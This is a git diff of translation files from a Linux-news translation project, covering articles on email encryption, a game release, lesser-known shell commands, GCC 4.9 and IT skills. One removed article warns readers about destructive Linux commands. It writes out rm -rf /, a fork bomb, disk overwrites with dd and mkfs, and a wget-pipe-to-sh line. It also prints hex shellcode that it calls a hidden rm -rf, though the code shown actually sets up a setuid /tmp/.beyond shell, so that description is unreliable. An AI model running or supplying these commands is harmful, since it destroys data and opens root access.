Now, let's explore the 4 encryption tools at hand. For each title we have compiled its own portal page, a full description with an in-depth analysis of its features, together with links to relevant resources and reviews.
### Email Encryption Tools ###
- [Enigmail][1] OpenPGP Email Security for Mozilla Applications
![](http://www.linuxlinks.com/portal/content/reviews/Email/Screenshot-Enigmail.png)
- [Mailvelope][2] Extension for Google Chrome and Mozilla Firefox
- [GnuPG][3] Encrypt and sign data and communication
- [Mymail-Crypt for Gmail][4] Simple solution to mail encryption
--------------------------------------------------------------------------------
via: http://www.linuxlinks.com/article/2013120707481589/EmailEncryption.html
译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://www.enigmail.net/
[2]:http://www.mailvelope.com/
[3]:http://www.gnupg.org/
[4]:https://chrome.google.com/webstore/detail/mymail-crypt-for-gmail/jcaobjhdnlpmopmjhijplpjhlplfkhba

View File

@ -1,41 +0,0 @@
Unvanquished Will Probably Be the Best Free Multiplayer Game on Linux
================================================================================
**Unvanquished, a free, open-source first-person shooter combining real-time strategy elements with a futuristic and sci-fi setting, has just received its 22nd update. Actually it's 22.1, but who's counting?**
![](http://i1-news.softpedia-static.com/images/news2/Unvanquished-Will-Probably-Be-the-Best-Free-Multiplayer-Game-on-Linux-405956-2.jpg)
![](http://www.unvanquished.net/images/20131202-snowstation.jpg)
Even if Unvanquished is still in its Alpha stages, the developers have added a lot of new features and the game has become a lot more playable.
The Unvanquished Alpha 22.1 has received a few engine changes, some gameplay changes, a new map, a new version of an existing map, and more.
Snowstation is the new map integrated in the game. According to the developer, it has a simple layout, essentially a loop, and a snow-covered outside area forming part of that loop.
“We're now using C++ for all engine code. A few things are a bit different some commands are changed a little or renamed and some output looks different. One which you'll probably notice while playing is marking for deconstruction you'll need to rebind that key. The reason is that /if has lost its modifier key support; you'll need to use /modcase instead,” reads the announcement.
### Highlight of Unvanquished Alpha 22.1: ###
• The jetpack has been added. Users have to hold down the jump key and fly but you can't hover anymore and you only have a limited amount of fuel;
• The reasons “under attack” messages are reported have been changed;
• Human weapons will be refilled or recharged automatically when close to a suitable building and not in use;
• Repeaters are now effectively small reactors and they will provide power even when there is no reactor around;
• FXAA now works with Mesa in OpenGL 2.1 contexts.
More details about this amazingly-looking game can be found on the official [website][1]. Keep in mind that this is a work in progress and bugs are bound to appear.
**Download Unvanquished Alpha 22.1 right now:**
- [Debian/Ubuntu DEB ALL][2][ubuntu_deb] [0 KB]
- [Arch Linux package][2][binary] [0 KB]
--------------------------------------------------------------------------------
via: http://news.softpedia.com/news/Unvanquished-Will-Probably-Be-the-Best-Free-Multiplayer-Game-on-Linux-405956.shtml
译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://www.unvanquished.net/news/111-it-s-release-time-again-alpha-22
[2]:http://www.unvanquished.net/download#linux

View File

@ -1,6 +1,7 @@
10 Lesser Known Effective Linux Commands Part IV
10个鲜为人知的Linux命令(4)
================================================================================
Continuing the **Lesser Known** series, this fourth article of the series will let you know some useful **funny** and **animated** commands. Here we go into the practical session, without much theory.
继续我们的"鲜为人知"系列,本系列的第四篇会让你了解一些**有趣** 又 **动态**的命令。这里我们进入实际的教程,没有很多理论。
![](http://www.tecmint.com/wp-content/uploads/2013/11/10-Lesser-Known-Effective-Commands-.png)
@ -8,17 +9,17 @@ Continuing the **Lesser Known** series, this fourth article of the series will l
- [10 Lesser Known Linux Commands Part 2][2]
- [10 Lesser Known Commands for Linux Part 3][3]
In the fourth article of this series which includes few other lesser known Linux commands, worth knowing. Might be youre already aware of these commands, no doubt youre an experienced Linux user and loves exploration.
本系列的第四篇包含了另外的鲜为人知的Linux命令这些值得去了解。也许你已经知道了这些命令毫无疑问你是一个有经验的Linux用户并且乐于探索。
### 32. strace Command ###
The **strace** is a debugging tool which is used primarily for troubleshooting purpose in Linux. It might not be installed by default in your system and you may need to **apt** or **yum** the required package.
**strace**是一个调试工具并被主要用于Linux的故障排除。它可能在你的系统内没有默认安装你可能需要**apt** 或者 **yum**安装所需要的包。
Trace a command execution using strace command:
使用strace命令追踪一个命令的执行。
root@tecmint [~]# strace pwd
#### Sample Output ####
#### 示例输出 ####
execve("/bin/pwd", ["pwd"], [/* 29 vars */]) = 0
brk(0) = 0x728000
@ -40,56 +41,56 @@ Trace a command execution using strace command:
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f29b0de6000
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f29b0de5000
....
**strace**命令接收大量的参数和选项请参考man页来获取详细信息。
The **strace** command accepts a lot of arguments and have many options. Refer to man page for detailed information.
### 33. disown -a && exit 命令 ###
### 33. disown -a && exit Command ###
大多数系统管理员使用[screen 命令][4]来控制运行在终端后台的作业。让我们假设一下如果你有一个长期运行的作业并想要将它从终端中**分离**你可以用screen命令来这么做。但是如果你不知道如何使用screen那么disown可以用来救急。
Most of the system administrators use [screen command][4] to control jobs running in the terminal background. Lets say if you having a long running job and want to **detach** from the terminal, you use screen command to do it. But what if you dont know how to use screen, here comes disown command to rescue.
disown命令可以在后台持续运行作业即使你关闭了终端会话。disown命令的语法是:
The disown command is used to run the jobs continuously in the background even after you closing the terminal session. The syntax of the disown command is:
root@tecmint [~]# Command; disown -a && exit
To detach again the long running job in the terminal, use the **jobs** command to find the job number and then use disown **%n** where **n** is the job number. To verify actually the job is running use **ps** or [top command][5]. The **nohup** command is an alternative to the disown command.
为了在终端中再次分离长期运行的作业,使用**jobs**命令来找出作业号接着使用disown **%n**,这里的**%n**是作业号。为了验证作业确实在运行,使用**ps** 或者 [top 命令][5]。**nohup**命令也是一个disown命令的替代品。
### 34. getconf LONG_BIT Command ###
### 34. getconf LONG_BIT 命令 ###
The above command shows your machine architecture if it is **32** bit or **64** bit?
上面的命令能显示你的机器架构是**32** bit 或者 **64**?
root@tecmint [~]# getconf LONG_BIT
32
- [Download Linux Command Line Cheat Sheet][5]
- [下载Linux命令备忘单][5]
### 35. Display Date on the Terminal ###
### 35. 终端上显示日期 ###
The below command is a combination of several commands, better say it a script. For a person working at shell or terminal, without GUI seeing current system date is tedious job. You have to type **date** command to check todays date.
下面的命令是几个命令的集合确切地说是一个脚本。对于在shell或者终端下工作的人来说没有GUI界面看到当前系统日期是一个乏味的工作。你可以用**date**‘命令查看今天的日期。
Just execute the below command on you prompt and see the **date** and **time** on the above right corner of terminal.
只要在提示符后输入如下的命令你就会在终端的右上角看到**日期**和**时间**。
root@tecmint [~]# while sleep 1;do tput sc;tput cup 0 $(($(tput cols)-29));date;tput rc;done &
![Show Date in Terminal](http://www.tecmint.com/wp-content/uploads/2013/11/Date.jpg)
![在终端下显示日期](http://www.tecmint.com/wp-content/uploads/2013/11/Date.jpg)
### 36. convert Command ###
### 36. convert 命令 ###
While writing tutorial, I usually need to produce output, many a times in image format. The above command combination does this for me. Say I need the output of tree command (for **/etc/x11** directory) in image format. What I did at terminal was:
在写教程的时候我经常需要生成输出很多时候是图片格式。上面的命令集合并不适合我。假设我需要tree命令的图片格式的输出(对 **/etc/x11** 目录 )。
root@tecmint:/etc/X11# tree | convert label:@- /home/avi/tree.png
The output of the above command can be seen at the specified location (here, home directory of mine) with the file name specified as **tree.png**.
上面命令的输出可以在一个特定的位置(这里是我的家目录)下看到,文件名是**tree.png**。
### 37. watch -t -n1 “date +%T|figlet” ###
Remember our description of “**figlet**” command in our earlier article “[20 Funny Commands of Linux][7]”. This command was very cool, this time we will be pipelining **figlet** to show animated digital clock in the terminal.
记住“**figlet**”命令在我们早期的文章“[20 Funny Commands of Linux][7]”中的描述。这个命令非常酷,这次我们会通过管道输出到‘**figlet**‘而在终端上显示一个动画电子钟。
Just check-out yourself, remember you must have **figlet** installed on the system, do **apt** or **yum** to install the required package.
你自己检查一下,记住你必须已经在系统上安装了**figlet**,用**apt** 或者 **yum**安装所需要的包。
root@tecmint [~]# watch -t -n1 "date +%T|figlet"
#### Sample Output ####
#### 示例输出 ####
_ ___ ____ ___ _____ _ _ Fri Nov 29 10:29:34 GMT
/ |/ _ \ _|___ \ / _ \ _|___ /| || |
@ -97,9 +98,9 @@ Just check-out yourself, remember you must have **figlet** installed on the syst
| | |_| |_ / __/ \__, |_ ___) |__ _|
|_|\___/(_)_____| /_/(_)____/ |_|
### 38. host and dig Commands ###
### 38. host and dig 命令 ###
Although “**host**” and “**dig**” command is not that much lesser known, still not very frequently used. The host command is **DNS** lookup utility.
虽然“**host**” 和 “**dig**”命令不那么鲜为人知但是仍并不常被使用。host命令是**DNS**查询工具。
root@tecmint [~]# host www.google.com
@ -119,17 +120,17 @@ Although “**host**” and “**dig**” command is not that much lesser known,
;; Got answer:
;; ->>HEADER<
### 39. dstat Command ###
### 39. dstat 命令 ###
The **dstat** is a versatile tool, that generates statistics relating to system resource. By default your system might not have **dstat** installed. Do a **apt** or **yum** to install **dstat** before using this very colorful and description system resource generator.
**dstat**是一个多用的工具,它会依据系统资源生成统计。默认上你的系统可能没有安装‘**dstat**‘。在使用这个多彩的描述系统信息的生成器前使用**apt** 或者 **yum**来安装。
root@tecmint [~]# dstat
![dstat command](http://www.tecmint.com/wp-content/uploads/2013/11/dstat.jpeg)
![dstat 命令](http://www.tecmint.com/wp-content/uploads/2013/11/dstat.jpeg)
### 40. bind -p Command ###
### 40. bind -p 命令 ###
The **bind -p** command will show all the shortcuts available for **BASH** shell.
**bind -p**‘会显示所有的**BASH** shell可用的快捷方式。
root@tecmint [~]# bind -p
@ -160,19 +161,19 @@ The **bind -p** command will show all the shortcuts available for **BASH**
### 41. touch /forcefsck ###
The above command will create an empty folder '**forcefsck**', under root directory. This will force Linux System to check the file system on the very next boot.
下面的命令会在root目录下创建一个空的文件夹'**forcefsck**'。这会强制Linux系统在下次启动时检查文件系统。
root@tecmint [~]# touch /forcefsck
hats all for Now. You People are loving these **Lesser Known Commands** and hence we are continuing the series, the next article of this series will be available very soon.
今天这些就是全部。因为你们爱‘**鲜为人知的命令** ,因此我们将继续这个系列,本系列的下一篇文章将很快发布。
Till then stay tuned and connected to **Tecmint**. Dont forget to give your valuable feedback in our comment section. Do a favor to us, Like and share us and help us spread.
不要走开继续关注**Tecmint**。不要忘记在评论栏里留下你们有价值的反馈。帮我们一个忙,喜爱、分享我们的文章,并帮我们传播。
--------------------------------------------------------------------------------
via: http://www.tecmint.com/10-lesser-known-effective-linux-commands-part-iv/
译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
译者:[geekpi](https://github.com/geekpi) 校对:[校对者ID](https://github.com/校对者ID)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出

View File

@ -1,166 +0,0 @@
10 Most Dangerous Commands You Should Never Execute on Linux
"10个最危险的命令 你永远不要在Linux下执行否则呵呵.."
"================================================================================"
Linux command line is productive, useful and interesting but sometimes it may be very much dangerous specially when you are not sure what you are doing. This article is not intended to make you furious of **Linux** or **Linux command** line. We just want to make you aware of some of the commands which you should think twice before you execute them.
"Linux命令行佷有用很高效也很有趣但有时候你不确定你自己在正在做什么时尤其的危险。这篇文章并不打算使你对**Linux**或**linux 命令行**感到愤怒。我们只是想让你意识到在你运行有些命令时应该三思而后行。"
"![](http://www.tecmint.com/wp-content/uploads/2013/11/Dangerous-Linux-Commands.png)"
### 1. rm -rf Command ###
"### 1. rm -rf 命令 ###"
The **rm -rf** command is one of the fastest way to delete a folder and its contents. But a little typo or ignorance may result into unrecoverable system damage. The some of options used with **rm command** are.
"**rm -rf**命令是删除文件夹及其内容最快的方式之一。仅仅一丁点的打字错误或无知都可能导致不可恢复的系统毁坏。下列是一些**rm 命令**的选项。"
- **rm** command in Linux is used to delete files.
"- **rm** 命令在Linux下通常用来删除文件。"
- **rm -r** command deletes the folder recursively, even the empty folder.
"- **rm -r** 命令递归的删除文件夹,甚至是空的文件夹。"
- **rm -f** command removes Read only File without asking.
"- **rm -f** 命令能不经过询问直接删除‘只读文件’。"
- **rm -rf /** : Force deletion of everything in root directory.
"- **rm -rf /** : 强制删除root目录下所有东东。"
- **rm -rf ** * : Force deletion of everything in current directory/working directory.
"- **rm -rf** * : 强制删除当前目录/工作目录的所有文件。"
- **rm -rf .** : Force deletion of current folder and sub folders.
"- **rm -rf .** : 强制删除当前文件夹及其子文件夹。"
Hence, be careful when you are executing **rm -rf** command. To overcome accidental delete of file by **rm** command, create an alias of **rm** command as **rm -i** in “**.bashrc**” file, it will ask you to confirm every deletion.
"从现在起,当你要执行**rm -rf**命令时请留心一点。我们可以在“**.bashrc**”文件对‘**rm**‘命令创建**rm -i**的别名,来预防用 **rm**‘命令删除文件时的事故,它会要求你确认每一个删除请求。"
### 2. :(){:|:&};: Command ###
"### 2. :(){:|:&};: 命令###"
The above is actually a **fork bomb**. It operates by defining a function called :, which calls itself twice, once in the foreground and once in the background. It keeps on executing again and again till the system freezes.
"这就是个**fork 炸弹**的实例。具体操作是通过定义一个名为 :‘的函数,它会调用自己两次,一次在前台另一次运行在后台。它会反复的执行下去直到系统崩溃。"
" :(){:|:&};:"
### 3. command > /dev/sda ###
"### 3. 命令 > /dev/sda ###"
The above command writes the output of **command** on the block **/dev/sda**. The above command writes raw data and all the files on the block will be replaced with raw data, thus resulting in total loss of data on the block.
"上列命令会将‘**命令**‘的输出写到块设备**/dev/sda**中。该操作会将在块设备中的所有文件替换为命令写入的原始数据,从而导致整个块设备的数据丢失。"
### 4. mv folder /dev/null ###
"### 4. mv 文件夹 /dev/null ###"
The above command will move **folder** to **/dev/null**. In Linux **/dev/null** or **null** device is a special file that discards all the data written to it and reports that write operation succeed.
"上列命令会移动‘**文件夹**‘到**/dev/null**。在Linux中 **/dev/null** 或 **null** 设备是一个特殊的文件,所有写入它的数据都会被清除,然后返回写操作成功。"
" # mv /home/user/* /dev/null"
The above command will move all the contents of a **User** directory to **/dev/null**, which literally means everything there was sent to **blackhole (null)**.
"上列命令会将**User**目录所有内容移动到**/dev/null**,这意味着所有东西都被‘卷入’**黑洞 (null)**之中。"
### 5. wget http://malicious_source -O- | sh ###
"### 5. wget http://malicious_source -O- | sh ###"
The above command will download a script from a malicious source and then execute it. Wget command will download the script and **sh** will execute the downloaded script.
"上列命令会从一个恶意源下载一个脚本并执行。get命令会下载这个脚本而**sh**会执行下载下来的脚本。"
**Note**: You should be very much aware of the source from where you are downloading packages and scripts. Only use those scripts/applications which is downloaded from a trusted source.
"**注意**: 你应该时刻注意你下载包或脚本的源。只能使用那些从可信任的源中下载脚本/程序。"
### 6. mkfs.ext3 /dev/sda ###
"### 6. mkfs.ext3 /dev/sda ###"
The above command will format the block **sda** and you would surely be knowing that after execution of the above command your Block (**Hard Disk Drive**) would be new, **BRAND NEW!** Without any data, leaving your system into unrecoverable stage.
"上列命令会格式化块设备‘**sda**’,你无疑知道在执行上列命令后你的块设备(**硬盘驱动器**)会被格式化,**崭新的!**没有任何数据,直接让你的系统达到不可恢复的阶段。"
### 7. > file ###
"### 7. > file###"
The above command is used to flush the content of file. If the above command is executed with a typo or ignorance like “> **xt.conf**” will write the configuration file or any other system or configuration file.
"上列命令常用来清空文件内容。如果用上列执行时输入错误或无知的输入类似 “> **xt.conf**” 的命令会覆盖配置文件或其他任何的系统配置文件。"
### 8. ^foo^bar ###
"### 8. ^foo^bar ###"
This command, as described in our [10 Lesser Known Linux Commands][1], is used to edit the previous run command without the need of retyping the whole command again. But this can really be troublesome if you didnt took the risk of thoroughly checking the change in original command using **^foo^bar** command.
"这个命令在我们[10个鲜为人知的Linux命令][1]中描述过,用来编辑先前运行的命令而无需重打整个命令。但当用**^foo^bar**命令时如果你没有彻底检查改变原始命令的风险,这可能导致真正的麻烦。"
### 9. dd if=/dev/random of=/dev/sda ###
"### 9. dd if=/dev/random of=/dev/sda ###"
The above command will wipe out the block **sda** and write random junk data to the block. Of-course! Your system would be left at inconsistent and unrecoverable stage.
"上列命令会向块设备**sda**写入随机的垃圾文件从而擦出数据。当然!你的系统可能陷入不协调和不可恢复的状态。"
### 10. Hidden the Command ###
"### 10. 隐藏命令 ###"
The below command is nothing but the first command above (**rm -rf**). Here the codes are hidden in **hex** so that an ignorant user may be fooled. Running the below code in your terminal will wipe your **root** partition.
"下面的命令其实就是上面第一个命令 (**rm -rf**)。这里的代码是隐藏在**十六进制**里的,一个无知的用户可能就会被愚弄。在终端里运行下面命令可能会擦除你对**root**分区。"
This command here shows that the threat may be hidden and not normally detectable sometimes. You must be aware of what you are doing and what would be the result. Dont compile/run codes from an unknown source.
"这个命令表明通常真正的危险是隐藏的,不会被轻易的检测到。你必须时刻留心你在做什么结果会怎样。不要编译/运行从未知来源的代码。"
" char esp[] __attribute__ ((section(“.text”))) /* e.s.p"
" release */"
" = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″"
" “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″"
" “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″"
" “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″"
" “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″"
" “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″"
" “\x6e\x2f\x73\x68\x00\x2d\x63\x00″"
" “cp -p /bin/sh /tmp/.beyond; chmod 4755"
" /tmp/.beyond;”;"
**Note**: Dont execute any of the above command in your **Linux** terminal or shell or of your friend or school computer. If you want to test them, run them in virtual machine. Any in-consistence or data loss, due to the execution of above command will break your system down for which, neither the **Author** of the article nor **Tecmint** is responsible.
"**注意**: 不要在你的或你的同学或学校的电脑里的**Linux**终端或Shell执行以上的任何一个命令。如果你想测试它们请在虚拟机上运行。任何不和谐或数据丢失由于运行上面的命令导致你的系统崩溃文章**作者**和**Tecmint**概不负责。"
Thats all for now. I will soon be here again with another interesting article you people will love to read. Till then Stay tuned and connected to **Tecmint**. If you know any other such **Dangerous Linux Commands** and you would like us to add to the list, please tell us via comment section and dont forgot to give your value-able feedback.
"今天就到此为止吧,我会很快回来这里,同时带上另一篇你们喜欢的文章。到那时请继续关注和链接到**Tecmint**。如果你知道任何其他**危险的Linux命令**,也想添加到我们的列表中,请通过评论留言给我们同时也别忘了留下你的宝贵意见。"
--------------------------------------------------------------------------------
via: http://www.tecmint.com/10-most-dangerous-commands-you-should-never-execute-on-linux/
译者:[Luoxcat](https://github.com/Luoxcat) 校对:[校对者ID](https://github.com/校对者ID)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://www.tecmint.com/10-lesser-known-commands-for-linux-part-3/
[2]:
[3]:
[4]:
[5]:
[6]:
[7]:
[8]:
[9]:
[10]:
[11]:
[12]:

View File

@ -205,7 +205,7 @@ As usual, the watch command can be used to turn ps into a realtime process repor
你会发现top/htop命令的输出相比上面的ps命令刷新得更频繁。
这是因为top输出会cpu使用和内存使用值混合排序后的输出。但是上面的ps命令是一个更简单的行为的排序每次获取一列(像学校的数学)。因此它不会像top那样快速更新。
这是因为top输出会cpu使用和内存使用值混合排序后的输出。但是上面的ps命令是一个更简单的行为的排序每次获取一列(像学校的数学)。因此它不会像top那样快速更新。
--------------------------------------------------------------------------------
@ -213,4 +213,4 @@ via: http://www.binarytides.com/linux-ps-command/
译者:[geekpi](https://github.com/geekpi) 校对:[校对者ID](https://github.com/校对者ID)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出

View File

@ -1,23 +0,0 @@
用解释性用户友好的图标的创作设计故事加深你的创意知识
================================================================================
伴随着质量性、稳定性和灵活性Ubuntu自带了一批富有经验的设计师这些设计师覆盖了越来越多的Ubuntu的角落因此压印进这个闪耀着光芒的系统中的漂亮区域、优化行为、小心实现的交互等。
**Ubuntu的设计师 Matthieu "Tiheum" James**,--Faenza和Faience的发明者--, 发布了一篇有趣的文章,(这篇文章)围绕着几个图标的发明展开。这篇有见地的文章使得感兴趣的用户和第三方开发人员能够直观地了解一个专业的设计师是怎样创作一个图标的。
上面提到的最近在香港的OpenStack峰会上发布的图标是为Juju设计的这个图标采用了一个有趣的特性为了满足Ubuntu在香港峰会的参观者的需要“**我们想**用比较特殊的一点的东西来代替正常的Juju图标以向参观了Ubuntu站的人们解释说Juju可以做什么。我们决定使用的带配料和酱汁的冰淇淋的想法来说明你可以在同这个想法用配料和酱汁调配出自己的冰淇淋一样建立Juju的服务。
这篇文章解释了在真实的图标创作过程中真实的心路历程,使读者沉浸在一个解释性同时易于掌握的旅程中,在旅程之中包括寻找好的概念,最初的草图,为图标添加角度,采用不同的设计方法,选择图标背景,精炼图标等。从本质上讲,一个易于阅读的设计故事。
![](http://iloveubuntu.net/pictures_me/icon%20creation%20design%20story.jpg)
你可以在这里享受全文[http://design.canonical.com/2013/11/juju-ice-cream-icon-design/][1]。
--------------------------------------------------------------------------------
via: http://iloveubuntu.net/deepen-your-creative-knowledge-explanatory-user-friendly-icon-creation-design-story
译者:[crowner](https://github.com/crowner) 校对:[校对者ID](https://github.com/校对者ID)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://design.canonical.com/2013/11/juju-ice-cream-icon-design/

View File

@ -0,0 +1,28 @@
GCC 4.9现在处于修复BUG的第3阶段
================================================================================
[GCC 4.9][1]将拥有很多[新功能][2]将定于2014年上半年发布。早先的GCC代码基础将不会支持新的功能因为它是一个大修复的标记。
Richard Biener今早宣称分支已经发展到了阶段三因此在之后的八月将这些功能融入4.9版本除非发布经理授权的异常发生不然毫无变化。阶段三只允许一般BUG的修复工作将在2个月内完成而到达只允许文档和回归的阶段四。
目前GCC4.9有63 P1 回归最严重的回归其次是136 P2回归14 P3回归88 P4 回归 以及 60 P5回归。直到63回归的P1阶段被清零GCC4.9才会被关闭去发布。GCC 4.9.0 发布版将可能在2014第二季度左右到来
早先的GCC 4.9.0状态报告可以在[GCC mailing list][3]中被找到。GCC 4.9将会是一个美好的编译器更新,并会挑战下个月发布的[LLVM3.4][4]。
--------------------------------------------------------------------------------
via: http://www.phoronix.com/scan.php?page=news_item&px=MTUyMjk
译者:[Vic___](http://blog.csdn.net/Vic___) 校对:[校对者ID](https://github.com/校对者ID)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://www.phoronix.com/scan.php?page=search&q=GCC+4.9
[2]:http://www.phoronix.com/scan.php?page=news_item&px=MTUxNzQ
[3]:http://gcc.gnu.org/ml/gcc/2013-11/msg00435.html
[4]:http://www.phoronix.com/scan.php?page=search&q=LLVM+3.4

View File

@ -86,10 +86,10 @@ Kdenlive的文档已过期,它会告诉你制作屏幕录像需要RecordMyDeskto
来源于: http://www.linux.com/learn/tutorials/745745-how-to-make-a-youtube-instructional-screencast-video-on-linux/
译者:[coolpigs](https://github.com/coolpigs) 校对:[校对者ID](https://github.com/校对者ID)
译者:[coolpigs](https://github.com/coolpigs) 校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:https://support.google.com/youtube/answer/1722171?hl=en&ref_topic=2888648
[2]:http://www.linux.com/learn/tutorials/422799-whirlwind-intro-to-audacity-on-linux
[3]:http://video.linux.com/100-linux-tutorials
[3]:http://video.linux.com/100-linux-tutorials

View File

@ -0,0 +1,51 @@
洞悉需求最高的三大IT技能组
================================================================================
![](http://www.linuxcareer.com/images/linux_it_skills_watch.png)
据[IT技能清单][1]调查报告结果显示雇主所需的Linux人才应具备的IT技能可分成相对独立的组群。本文将着重介绍在上一个季度2013年7月-9月需求度最高的3组IT技能这些技能在包括美国在内的被选国家招聘广告中都有所提及同时结果表明这三组技能可以和Linux相关的工作领域需求相匹配。
报告指出在上一季度具有嵌入式开发人员相关技能的人才是Linux专业雇主亟需的一类。排在第二位和第三位涉及的技能领域分别对应虚拟化技术和LAMP管理。本文将基于这三类工作清单涉及到的技能需求加以讨论并对分析后的三组技能间的依赖结构关系加以洞悉。
> 如果您尚未阅读[IT技能清单][1],我们强烈建议您在阅读以下内容前先熟悉这篇文章。它详细阐明了本次研究中用到的方法,本文也是基于[IT技能清单][1]的材料才得以进一步分析。
### 2013年8月IT技能分类更新 ###
![](http://www.linuxcareer.com/images/percentage_of_linux_job_ads_linked_with_corresponding_skill_groups.png)
在IT技能清单这篇文章中LinuxCareer.com分析了2013年5月到6月底的Linux工作清单我们在这个基础上将2013年7月到9月底这个时间段的更新也加至分类分析中。10类相关的IT技能在Linux招聘广告中出现的比率列于如上[条形图][1]中。[IT分类][2]图表表明如何基于分类设计出此条形图。我们可以看到IT技能需求前三组为占据27%的Linux就业市场份额的嵌入式开发人员需求占20%就业份额的虚拟化技术工程师和占12%Linux就业份额的LAMP管理员。文章接下来的三部分将围绕这三项IT技能需求组及三者的相互关系展开详细的讨论。例如MySQL和PHP这两项技能有强关联性通常雇主都会一起考虑。另外要指出的是LinuxCareer.com的这项调查里掌握Linux的基础知识已默认存在于任一招聘需求中。
### 嵌入式开发人员及程序员 ###
需求最高的第一类技能组是针对嵌入式开发人员及程序员的。如下的[依赖图][2]详细阐明了技能间的关联关系尤其表明了哪几项技能更可能同时出现在Linux招聘需求中。例如嵌入式开发非常需要C/C++/C#相关技能,而这些语言要么在图表下部的深色矩形区域,要么在图表上部的对应圆形阴影中聚集。
总体来说,这组技能可以进一步细分成如下三类:
1. **Android, Embedded, C/C++/C# and Java**.如果您准备在嵌入式领域发展这些是你需要掌握的核心技能而C/C++/C#或Java掌握其一便可满足雇主需求因为Java是基于部分C/C++/C#性能的扩展性语言。如果您阅读了8月的IT技能表就会发现Java以9513分居于编程语言的榜首而C/C++/C#是5403分。如果您尚在犹豫是掌握C/C++/C#还是Java从技能表得分看起来Java应该是更好的选择。但根据如下图表显示C/C++/C#似乎在嵌入式领域的招聘需求中更受欢迎。总结可得尽管Java在IT技能表中有更高的得分但在嵌入式开发职位上掌握C/C++/C#会比Java更有用。
1.** Python, Perl and Bash**.这些是对脚本编程语言技能的补充。对Perl和Python语言的需求经常会在招聘中同时出现当然也可以理解成这两种语言技能都是需要掌握的。
2. **Git, Subversion and Jira**.这些软件知识会应用到源码管理、调试和项目管理中,同时了解这几个方面的知识对相关项目的编程大有裨益。目前,主流开源项目和大量合作项目都在用类似的软件管理他们的源码。
![](http://www.linuxcareer.com/images/embedded_devices_development_skills_demand_dependency.png)
### 涉及数据仓储及管理的虚拟化技术工程师 ###
目前第二大需求技能组是如下[依赖图][2]所示与虚拟化技术工程师相关的技能。这一组可进一步细分成两部分第一部分是Redhat, VMware, vSphere, ESX/ESXi, XenServer and Citrix这些技能对寻求虚拟化技术工程师的工作很重要第二部分是同Unix系统、数据仓储及管理相关的技能。同时这两部分是紧密联系的。显然VMware和ESX/ESXi及vSphere是相关的因为ESX/ESXi是VMware虚拟机下提供的虚拟产品而vSphere是VMware虚拟机的云端虚拟操作系统。Redhat和VMware、Citrix产品被分到同一部分同样有其原因。这里Solaris和AIX具有密切关系的原因可以理解为它们都是专有的Unix系统掌握其一便可。
![](http://www.linuxcareer.com/images/virtualization_engineering_skills_demand_dependency.png)
### LAMP管理员 ###
最后,第三大技能组是如下[依赖图][2]中显示雇主需求的LAMP管理员应具备的技能。LAMP是Linux、Apache、MySQL和PHP的简称所有这四项内容是作为一名LAMP管理员所要了解的核心。这是一组相对来说小规模却会引领你至在Linux路途中发展更远的技能。实际上PHP和MySQL的密切关系表明这些技能中的任一项都不能脱离其它技能来单独掌握。
![](http://www.linuxcareer.com/images/lamp_administrator_skills_demand_dependency.png)
### 总结 ###
本文基于就业能力和Linux专业人员需求技能分组阐明了两点。第一点是对经常出现的IT技能通过集群分析划出了10类IT技能组第二点是基于Linux工作需求与相应技能组的对应结果嵌入式程序员在Linux招聘需求比率最高第二及第三技能需求比率最高的领域分别对应虚拟化技术工程师及LAMP管理员领域。这三大技能组即为上一季度分析出的Linux技能需求的核心。
### 参考 ###
[1] Percentage of Linux job ads linked with corresponding skill groups created by [GNU R][3]. Relevant package: graphics.
[2] Dependency charts created by [GNU R][3]. Relevant package: corrgram.
--------------------------------------------------------------------------------
via: http://www.linuxcareer.com/insights-into-top-3-it-skills-groups-in-highest-demand
译者:[icybreaker](https://github.com/icybreaker) 校对:[校对者ID](https://github.com/校对者ID)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://www.linuxcareer.com/it-skill-sets
[2]:http://www.linuxcareer.com/images/Linux_jobs_classification_jul_oct_2013.png
[3]:http://www.r-project.org/

View File

@ -1,15 +1,13 @@
(translating by whatever1992)
Install Oracle Java 7 in Elementary OS Luna Via PPA
使用PPA在Elementary OS 'Luna'上安装Oracle Java 7
================================================================================
**Question**: How can I install Oracle Java 7 in Elemetary OS Luna?
**问题**: 我该如何在 Elemetary OS Luna 上安装Oracle Java 7
**Answer**: To install Java 7 in Elementary OS Luna follow the steps below:
**回答**: 在 Elementary OS Luna 安装 Java 7 的步骤如下:
